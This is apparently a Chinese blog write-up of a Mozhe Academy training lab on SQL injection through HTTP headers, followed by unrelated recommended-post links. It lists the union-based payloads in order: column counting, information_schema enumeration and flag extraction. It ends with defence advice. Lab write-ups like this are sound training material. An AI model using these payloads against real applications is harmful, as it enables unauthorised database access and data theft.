墨者:SQL注入漏洞测试(HTTP头注入)

墨者学院:SQL注入漏洞测试(HTTP头注入)🚀

1. 什么是HTTP头注入?🔍

HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。

典型场景

  • 登录页面的X-Forwarded-For记录IP
  • 用户跟踪的User-Agent记录
  • 身份验证的Cookie字段
  • 服务器路由使用的Host字段

2. 使用工具:Burpsuite🔧

Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求


3. 注入流程详解🎯

步骤1:确定字段数量⚡

sql 复制代码
order by 5

参数解释

  • order by N:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5报错,说明列数≤4)。

步骤2:确认回显位⚡

sql 复制代码
union select 1,2,3,4

参数解释

  • union select:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。

步骤3:获取基础信息⚡

sql 复制代码
union select 1,user(),version(),database()

参数解释

  • user():当前数据库用户
  • version():数据库版本
  • database():当前数据库名称

步骤4:枚举表名⚡

sql 复制代码
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

参数解释

  • information_schema.tables:系统表存储所有表信息
  • group_concat():合并查询结果(避免多行显示)
  • table_schema:指定目标数据库名

步骤5:枚举列名⚡

sql 复制代码
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

参数解释

  • information_schema.columns:系统表存储所有列信息
  • table_name:指定目标表名

步骤6:提取数据⚡

sql 复制代码
union select 1,2,3,group_concat(flag) from flag

参数解释

  • flag表中提取flag列的全部数据

4. 总结🏁

  1. 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
  2. 防御建议
    • 使用预编译语句(Prepared Statements)
    • 对头部参数进行严格白名单验证
  3. 测试关键
    • 通过order by确定列数
    • 利用information_schema逐步获取数据库结构

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
百结2144 小时前
Mysql数据库操作
数据库·mysql·oracle
keep one's resolveY4 小时前
时区问题解决
数据库
Leinwin5 小时前
OpenClaw 多 Agent 协作框架的并发限制与企业化规避方案痛点直击
java·运维·数据库
qq_417695055 小时前
机器学习与人工智能
jvm·数据库·python
漫随流水5 小时前
旅游推荐系统(view.py)
前端·数据库·python·旅游
ego.iblacat5 小时前
MySQL 服务基础
数据库·mysql
Maverick067 小时前
Oracle Redo 日志操作手册
数据库·oracle
攒了一袋星辰7 小时前
高并发强一致性顺序号生成系统 -- SequenceGenerator
java·数据库·mysql
W.D.小糊涂7 小时前
gpu服务器安装windows+ubuntu24.04双系统
c语言·开发语言·数据库
云贝教育-郑老师7 小时前
【OceanBase 的多租户架构是怎样的?有什么优势?】
数据库·oceanbase